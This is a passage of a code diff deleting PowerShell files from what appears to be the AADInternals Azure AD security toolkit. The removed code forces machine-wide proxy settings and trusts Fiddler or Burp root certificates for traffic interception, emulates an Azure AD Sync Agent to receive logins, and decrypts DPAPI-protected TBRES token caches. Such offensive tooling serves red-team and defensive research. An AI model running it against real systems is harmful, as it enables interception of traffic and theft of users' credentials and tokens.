Invoke-RestMethod -UseBasicParsing -Uri "https://provisioningapi.microsoftonline.com/provisioningwebservice.svc" -ContentType "application/soap+xml" -Method POST -Body $envelope -Headers $Headers
}
}
-283
View File
@@ -1,283 +0,0 @@
# This file contains functions for setting proxy settings for Windows devices
# Sets proxy settings
# Jan 20th 2022
Function Set-ProxySettings
{
<#
.SYNOPSIS
Sets proxy settings of the local Windows machine and trusts Fiddler root certificate.
.DESCRIPTION
Sets proxy settings of the local Windows machine for:
* .NET Framework (both 32 & 64 bit) by editing machine.config
* LocalSystem using BITSAdmin
* NetworkService using BITSAdmin
* winhttp using netsh
* Local user by modifying registry
* Machine level by modifying registry
* Force machine level proxy by modifying registry
Trusts Fiddler root certificate by importing it to Local Machine truster root certificates
.Parameter ProxyAddress
Proxy address with port number.
.Parameter TrustFiddler
Trust Fiddler root certificate
.EXAMPLE
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080
Setting proxies for x86 & x64 .NET Frameworks:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
Setting proxy for LocalSystem:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account LocalSystem were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting proxy for NetworkService:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account NetworkService were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting winhttp proxy:
Current WinHTTP proxy settings:
Proxy Server(s) : 10.0.0.1:8080
Bypass List : (none)
Setting the proxy of local user Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting the proxy of machine Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting machine level procy policy for Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
.EXAMPLE
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080 -TrustFiddler
Setting proxies for x86 & x64 .NET Frameworks:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
Setting proxy for LocalSystem:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account LocalSystem were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting proxy for NetworkService:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account NetworkService were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting winhttp proxy:
Current WinHTTP proxy settings:
Proxy Server(s) : 10.0.0.1:8080
Bypass List : (none)
Setting the proxy of local user Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting the proxy of machine Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting machine level procy policy for Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
Trusting Fiddler root certificate:
PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\Root
Thumbprint Subject
---------- -------
33D6FCEE2850DC53EEED517F3E8E72EB944BD467 CN=DO_NOT_TRUST_FiddlerRoot, O=DO_NOT_TRUST, OU=Created by http://...
#>
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$ProxyAddress,
[Switch]$TrustFiddler,
[Switch]$TrustBurp
)
Process
{
# Split the proxy address
$proxyHost = $ProxyAddress.Split(":")[0]
$proxyPort = $ProxyAddress.Split(":")[1]
# Set .NET proxy in a quick-and-dirty way by just adding at the end
$configXml = @"
<!-- Added by AADInternals $((Get-Date).ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z")-->
<system.net>
<defaultProxy enabled = "true" useDefaultCredentials = "true">
<proxy autoDetect="false" bypassonlocal="true" proxyaddress="http://$($ProxyAddress)" usesystemdefault="false" />
</defaultProxy>
</system.net>
</configuration>
"@
Write-Host "Setting proxies for x32 & x64 .NET Frameworks:" -ForegroundColor Yellow
$dotNetConfigs = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config","C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config"
foreach($dotNetConfig in $dotNetConfigs)
{
$content = Get-Content $dotNetConfig -Encoding UTF8
[xml]$xmlContent = $content
if($xmlContent.configuration.'system.net'.defaultProxy)
{
Write-Warning ".NET proxy settings already set, skipping $dotNetConfig"
}
else
{
$lines = $content.Length
for($a = $lines ; $a-- ; $a -ge 0)
{
if($content[$a] -like "*</configuration>*")
{
$content[$a] = $configXml
break
}
}
Write-Host " $dotNetConfig" -ForegroundColor Yellow
$content | Set-Content $dotNetConfig -Encoding UTF8
}
}
# Add proxy for the LocalSystem and NetworkService using bitsadmin
Write-Host "Setting proxy for LocalSystem:" -ForegroundColor Yellow
& 'bitsadmin' '/Util' '/SetIEProxy' 'LocalSystem' 'Manual_proxy' "http://$ProxyAddress" '""'
Write-Host "Setting proxy for NetworkService:" -ForegroundColor Yellow
& 'bitsadmin' '/Util' '/SetIEProxy' 'NetworkService' 'Manual_proxy' "http://$ProxyAddress" '""'
# Set winhttp proxy
Write-Host "Setting winhttp proxy:" -ForegroundColor Yellow
& 'netsh' 'winhttp' 'set' 'proxy' "$ProxyAddress"
#
# Set proxy for Internet Settings
#
# Generate the settigns blob
[byte[]]$settingsBlob = New-DefaultConnectionSettings -ProxyAddress $ProxyAddress
# Set Current User settings
Write-Host "Setting the proxy of local user Internet Settings:" -ForegroundColor Yellow
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
# Set Machine settings
Write-Host "Setting the proxy of machine Internet Settings:" -ForegroundColor Yellow
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
# Set proxy policy on machine level
Write-Host "Setting machine level procy policy for Internet Settings:" -ForegroundColor Yellow
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Force -Verbose
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Name "ProxySettingsPerUser" -Value 0 -Force -Verbose
# Trust the Fiddler
if($TrustFiddler)
{
Write-Host "Trusting Fiddler root certificate:" -ForegroundColor Yellow
$tmpFile = New-TemporaryFile
Invoke-RestMethod -Uri "http://ipv4.fiddler:$proxyPort/FiddlerRoot.cer" -Proxy "http://$ProxyAddress" -OutFile $tmpFile
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root"
Remove-Item $tmpFile -Force
}
# Trust Burp Suite
if($TrustBurp)
{
Write-Host "Trusting Burp root certificate:" -ForegroundColor Yellow
$tmpFile = New-TemporaryFile
Invoke-RestMethod -Uri "http://$ProxyAddress/cert" -OutFile $tmpFile
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root"
Remove-Item $tmpFile -Force
}
}
}
# Generates a DefaultConnectionSettings blob
# Jan 20th 2022
Function New-DefaultConnectionSettings
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$ProxyAddress
)
Process
{
# Ref: http://atyoung.blogspot.com/2012/06/info-regarding-hkeycurrentusersoftwarem.html
$proxyLen = $ProxyAddress.length
$blob = new-object byte[] (56 + $proxyLen)
$p = 0
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x46 ) , 0, $blob, $p, 4); $p += 4 # Identifier 0x46 or 0x3C
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Counter
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x03 ) , 0, $blob, $p, 4); $p += 4 # Use a proxy server for your lan
# 09 when only 'Automatically detect settings' is enabled
# 03 when only 'Use a proxy server for your LAN' is enabled
# 0B when both are enabled
# 05 when only 'Use automatic configuration script' is enabled
# 0D when 'Automatically detect settings' and 'Use automatic configuration script' are enabled
# 07 when 'Use a proxy server for your LAN' and 'Use automatic configuration script' are enabled
# 0F when all the three are enabled.
# 01 when none of them are enabled.
[Array]::Copy([bitconverter]::GetBytes([UInt32] $proxyLen ) , 0, $blob, $p, 4); $p += 4 # Proxy address length
[Array]::Copy([Text.Encoding]::ASCII.GetBytes($ProxyAddress) , 0, $blob, $p, $proxyLen); $p += $proxyLen # Proxy address
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Additional info length
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Automatic script address length
# Rest is just 32 bytes of 0x00
return $blob
-464
View File
@@ -1,464 +0,0 @@
# Parses SQLite varint V3
# Sep 27th 2022
function Parse-SQLiteVarIntV3
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position
)
Process
{
return Decode-MultiByteInteger -Data $Data -Position $Position -Reverse
}
}
# Parses SQLite database B-Tree cell payload
# Sep 27th 2022
function Parse-SQLiteBTreeCellPayload
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$false)]
[int]$MaxColumns=20
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
# Parse the header
$headerSize = $Data[0]
# Parse the columns
$pCol = $headerSize
$nCol = 0
$columns = @()
for($p = 1 ; ($p -lt $headerSize);)
{
$serialType = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
switch($serialType)
{
# null
0 {
$value = $null
break
}
# Integer
1 {
$value = [int] $Data[$pCol]; $pCol++
break
}
# Integer
{$_ -gt 2 -and $_ -lt 8} {
switch($_)
{
{$_ -lt 5} {$nBytes = $_; break}
{$_ -eq 5} {$nBytes = 6; break}
default {$nBytes = 8; break}
}
$bytes = New-Object Byte[] 8
[Array]::Copy($Data,$pCol,$bytes,8-$nBytes,$nBytes)
[Array]::Reverse($bytes)
$value = [bitconverter]::ToInt64($bytes,0); $pCol += $nBytes
break
}
# Integer 0
8 {
$value = [int64] 0
break
}
# Integer 1
9 {
$value = [int64] 1
break
}
# Blob
{$_ -ge 12 -and $_ % 2 -eq 0}
{
$bLen = ($_ - 12) / 2
$value = $Data[$pCol..$($pCol + $bLen -1)]; $pCol += $bLen
break
}
# String - we'll assume UTF-8 encoding
{$_ -ge 13 -and $_ % 2 -ne 0}
{
$bLen = ($_ - 13) / 2
$value = [System.Text.Encoding]::UTF8.GetString($Data[$pCol..$($pCol + $bLen -1)]); $pCol += $bLen
break
}
}
$columns+= $value
}
return $columns
}
}
# Parses SQLite database B-Tree cell
# Sep 27th 2022
function Parse-SQLiteBTreeCell
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[int]$Position,
[Parameter(Mandatory=$true)]
[int]$PageType,
[Parameter(Mandatory=$true)]
[int]$PageSize
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position
# Overflow calcuation variables
$u = $PageSize # We assume no reserverd space
$m = (($u-12)*32/255)-23 # Always the same
switch($PageType)
{
0x0d #B-Tree Leaf Cell
{
$leftChild = $null
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = $u-35
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
0x05 #B-Tree Interior Cell
{
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$payLoadBytes = $null
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$payLoad = $null
$firstOverflowPage = $null
break
}
0x0a #B-Tree Leaf Cell
{
$leftChild = $null
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = $null
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = (($u-12)*64/255)-23
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
0x02 #B-Tree Interior Cell
{
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
$rowId = $null
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
$x = (($u-12)*64/255)-23
$p = $payLoadBytes
$k = $m+(($p-$m)%($u-4))
if($p>$x)
{
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
if($k -le $x)
{
$payLoad = $payLoad[0..$k-1]
$p -= $payLoadBytes + $k
}
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
else
{
$payLoad = $payLoad[0..$m-1]
$p -= $payLoadBytes + $m
}
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
break
}
}
if($payLoad)
{
$columns = Parse-SQLiteBTreeCellPayload -Data $payLoad
}
$attributes = [ordered]@{
"LeftChildPageNumber" = $leftChild
"PayloadBytes" = $payLoadBytes
"Payload" = $columns
"FirstOverFlowPageNumber" = $firstOverflowPage
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file
# Sep 27th 2022
function Parse-SQLiteDatabase
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse SQLite db file header
$p = 0;
$header = Parse-SQLiteHeader -Data $Data -Position ([ref]$p)
# Parse pages
$pages = New-Object psobject[] $header.Pages
$nPages = 0
while($p -lt $Data.Count)
{
$pages[$nPages] = Parse-SQLiteBTreePage -Data $Data -Position ([ref]$p) -PageSize $header.PageSize
$nPages++
# Next page starts from header size + n*PageSize
$p = $nPages * $header.PageSize
}
$attributes = [ordered]@{
"Header" = $header
"Pages" = $pages
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file B-Tree page
# Sep 27th 2022
function Parse-SQLiteBTreePage
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position,
[Parameter(Mandatory=$true)]
[int]$PageSize
)
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position.Value
# Calculate the page start
if($p -lt $PageSize)
{
$pageStart = 0
}
else
{
$pageStart = $p
}
$pageType = [int]$Data[$p]; $p += 1
# A value of 2 (0x02) means the page is an interior index b-tree page.
# A value of 5 (0x05) means the page is an interior table b-tree page.
# A value of 10 (0x0a) means the page is a leaf index b-tree page.
# A value of 13 (0x0d) means the page is a leaf table b-tree page.
$freeBlockStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellsOnPage = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellContentStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
if($cellContentStart -eq 0) # A zero value for this integer is interpreted as 65536.
{
$cellContentStart = 65536
}
$fragmentedFreeBytes = [int]$Data[$p]; $p += 1
if($pageType -eq 0x02)
{
$pageNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
}
$cells = New-Object psobject[] $cellsOnPage
for($c = 0 ; $c -lt $cellsOnPage; $c++)
{
$cellOffset = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
$cellStart = $pageStart + $cellOffset
$cells[$c] = Parse-SQLiteBTreeCell -Data $Data -Position $cellStart -PageType $pageType -PageSize $PageSize
}
$Position.Value = $p
switch($pageType)
{
0x0d {$strPageType = "Table Leaf" ; break}
0x05 {$strPageType = "Table Interior"; break}
0x0a {$strPageType = "Index Leaf" ; break}
0x02 {$strPageType = "Index Interior"; break}
}
$attributes = [ordered]@{
"PageType" = $strPageType
"PageNumber" = $pageNumber
"CellsOnPage" = $cellsOnPage
"ContentStart" = $cellContentStart
"Cells" = $cells
}
return New-Object -TypeName psobject -Property $attributes
}
}
# Parses SQLite database file header
# Sep 27th 2022
function Parse-SQLiteHeader
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$true)]
[ref]$Position
)
Begin
{
$encodings = @(
"UTF-8"
"UTF-16le"
"UTF-16be"
)
}
Process
{
# Ref. https://www.sqlite.org/fileformat.html
$p = $Position.Value
$headerString = [text.encoding]::UTF8.GetString($Data[$p..($p+16-1)]); $p += 16
$dbPageSize = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
if($dbPageSize -eq 1) # The database page size in bytes. Must be a power of two between 512 and 32768 inclusive, or the value 1 representing a page size of 65536.
{
$dbPageSize = 65536
}
$fileWriteVersion = [int]$Data[$p]; $p += 1
$fileReadVersion = [int]$Data[$p]; $p += 1
$reservedSpaceBytes = [int]$Data[$p]; $p += 1
$maxEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
$minEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
$leafPayloadFraction = [int]$Data[$p]; $p += 1
$fileChangeCounter = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$dbSizePages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$firstFreelistTrunkPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$freelistPages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$schemaCookie = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$schemaFormatNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
# A value of 1 means UTF-8. A value of 2 means UTF-16le. A value of 3 means UTF-16be.
$defaultPageCacheSize = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$largestRootBTreePage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$dbTextEncoding = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$userVersion = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$incrementalVacuumMode = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0) -ne 0; $p += 4
$applicationId = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$reserved = $Data[$p..($p+20-1)]; $p += 20
$versionValidForNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
$versionNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
# Check variables
if($maxEmbeddedPayloadFraction -ne 64)
{
Write-Warning "Maximum embedded payload fraction is $maxEmbeddedPayloadFraction, it MUST be 64"
}
if($minEmbeddedPayloadFraction -ne 32)
{
Write-Warning "Minimum embedded payload fraction is $minEmbeddedPayloadFraction, it MUST be 32"
}
if($schemaFormatNumber -ne 4)
{
Write-Warning "Schema version $schemaFormatNumber not supported, expected version 4"
}
$Position.Value = $p
$attributes = [ordered]@{
"PageSize" = $dbPageSize
"Pages" = $dbSizePages
"Encoding" = $encodings[$dbTextEncoding-1]
"ChangeCounter" = $fileChangeCounter
"FirstFreelistPage" = $freelistPages
"FreelistPages" = $freelistPages
"SchemaFormat" = $schemaFormatNumber
"SchemaCookie" = $schemaCookie
"SQLiteVersion" = $versionNumber
"ReservedSpaceBytes" = $reservedSpaceBytes
}
return New-Object -TypeName PSObject -Property $attributes
}
}
-157
View File
@@ -56,160 +56,3 @@ function Register-SyncAgent
return Register-ProxyAgent -AccessToken $AccessToken -MachineName $MachineName -FileName $FileName -AgentType Sync -UpdateTrust $UpdateTrust -PfxFileName $PfxFileName -PfxPassword $PfxPassword
}
}
# Invokes the Sync Agent
function Invoke-SyncAgent
{
<#
.SYNOPSIS
Invokes a Sync Agent with given name and certificate.
.DESCRIPTION
Invokes a Sync Agent with given name and certificate, and connects to Azure AD. Emulates Azure AD Sync Agent.
.Example
Invoke-AADIntSyncAgent -MachineName "server1.company.com"
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
.Example
Register-AADIntSyncAgent -MachineName "server1.company.com"
Sync agent registered as server1.company.com
Certificate saved to Sync_client_certificate.pfx
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com"
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntSyncAgent -AccessToken $pt -MachineName "server1.company.com" -FileName server1.pfx
Sync agent registered as server1.company.com
Certificate saved to server1.pfx
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com" -FileName server1.pfx
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$fileName="Sync_client_certificate.pfx"
)
Process
{
# Clean the old jobs
Get-Job | Remove-Job -Force
# Load the certificate
$fullPath = (Get-Item $fileName).FullName
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::CreateFromCertFile($fullPath)
# Get the bootStraps
$BootStraps = Get-BootstrapConfiguration -MachineName $MachineName -fileName $fileName
$max = 10
$connectors = @()
foreach($BootStrap in $bootStraps)
{
if($connectors.Length -gt $max)
{
break
}
$id=($connectors.count+1)
# The startup script
$sb={
param($BootStrap, $cert)
. "$PSScriptRoot\MSAppProxy_utils.ps1";
Connect-ToBus -BootStrap $BootStrap -cert $cert
}
# Create a synchronized hashtable for status etc.
$status=[hashtable]::Synchronized(@{})
# Create the runspace etc.
$rs=[runspacefactory]::CreateRunspace()
$ps=[powershell]::Create()
$ps.Runspace = $rs
$rs.Open()
$rs.SessionStateProxy.SetVariable("status",$status)
$ps.AddScript($sb)
$ps.AddArgument($BootStrap)
$job = $ps.BeginInvoke()
$name = "$id-$($BootStrap.Namespace)"
# Create a connector object
$connector = New-Object PSObject
$connector | Add-Member -NotePropertyName "Name" -NotePropertyValue ($name)
$connector | Add-Member -NotePropertyName "PowerShell" -NotePropertyValue ($ps)
$connector | Add-Member -NotePropertyName "Runspace" -NotePropertyValue ($rs)
$connector | Add-Member -NotePropertyName "Job" -NotePropertyValue ($job)
$connector | Add-Member -NotePropertyName "Status" -NotePropertyValue ($status)
$connectors+=$connector
}
$colors=@("Yellow","White","Cyan","Red")
while($true)
{
$running = $connectors.count
Clear-Host
foreach($connector in $connectors)
{
Write-Host "$($connector.Name) Completed: $($connector.job.IsCompleted) Status: $($connector.status.status)" -ForegroundColor $colors[$((([int]$connector.Name.Substring(0,1))-1)%4)]
if($connector.job.IsCompleted)
{
$connector.PowerShell.EndInvoke($connector.job)
$connector.Runspace.Close()
$running--
}
}
if($running -eq 0)
{
Write-Host "All connectors completed. Exiting.."
break
}
Start-Sleep -Seconds 3
}
}
}
-328
View File
@@ -1,328 +0,0 @@
# This file contains functions to read and decrypt TBRES files
# Parses TBRES files
# Nov 18 2021
Function Parse-TBRES
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data
)
Process
{
# Strip the null terminator, convert to string and parse json.
$json = [text.encoding]::Unicode.GetString($Data,0,$Data.Length).TrimEnd(0x00) | ConvertFrom-Json
# Get the encrypted content
$txtEncrypted = $json.TBDataStoreObject.ObjectData.SystemDefinedProperties.ResponseBytes.Value
# Convert B64 to byte array
$binEncrypted = Convert-B64ToByteArray -B64 $txtEncrypted
# If protected, decrypt with DPAPI
if($json.TBDataStoreObject.ObjectData.SystemDefinedProperties.ResponseBytes.IsProtected)
{
$binDecrypted = [Security.Cryptography.ProtectedData]::Unprotect($binEncrypted,$null,'CurrentUser')
}
else
{
$binDecrypted = $binEncrypted
}
# Parse the expiration time
$fileTimeUtc = [BitConverter]::ToUInt64((Convert-B64ToByteArray $json.TBDataStoreObject.ObjectData.SystemDefinedProperties.Expiration.Value),0)
$expires = [datetime]::FromFileTimeUtc($fileTimeUtc)
if((Get-Date).ToUniversalTime() -ge $expires)
{
Write-Warning "Token is expired"
return
}
return Parse-TBRESResponseBytes -Data $binDecrypted
}
}
# Parses ResponseBytes TBRES files
# Nov 18 2021
Function Parse-TBRESResponseBytes
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data
)
Begin
{
}
Process
{
# Parses version number from TBRES response bytes
# Nov 20 2021
Function Parse-TBRESVersion
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data,
[parameter(Mandatory=$true,ValueFromPipeline)]
[ref]$Position,
[parameter(Mandatory=$false,ValueFromPipeline)]
[int[]]$ExpectedVersions = @(1,2)
)
Process
{
$p = $Position.Value
$version = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
if($ExpectedVersions -notcontains $version)
{
Throw "Invalid version $version, expected one of $($ExpectedVersions -join ',')"
}
$Position.Value = $p
}
}
# Parses key-value pairs from decrypted TBRES response bytes
# Nov 20 2021
Function Parse-TBRESKeyValue
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data,
[parameter(Mandatory=$true,ValueFromPipeline)]
[ref]$Position
)
Process
{
$p = $Position.Value
$keyType = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
if($keyType -ne 0x0c)
{
Throw "Invalid key type $keyType"
}
$keyLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
$binKey = $Data[$p..($p + $keyLength -1)]; $p += $keyLength
$key = [text.encoding]::UTF8.GetString($binKey)
$valueType = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
switch($valueType)
{
0x0C # String
{
$valueLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
$value = [text.encoding]::UTF8.GetString($Data,$p,$valueLength); $p += $valueLength
break
}
0x04 # UInt 32
{
$value = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
break
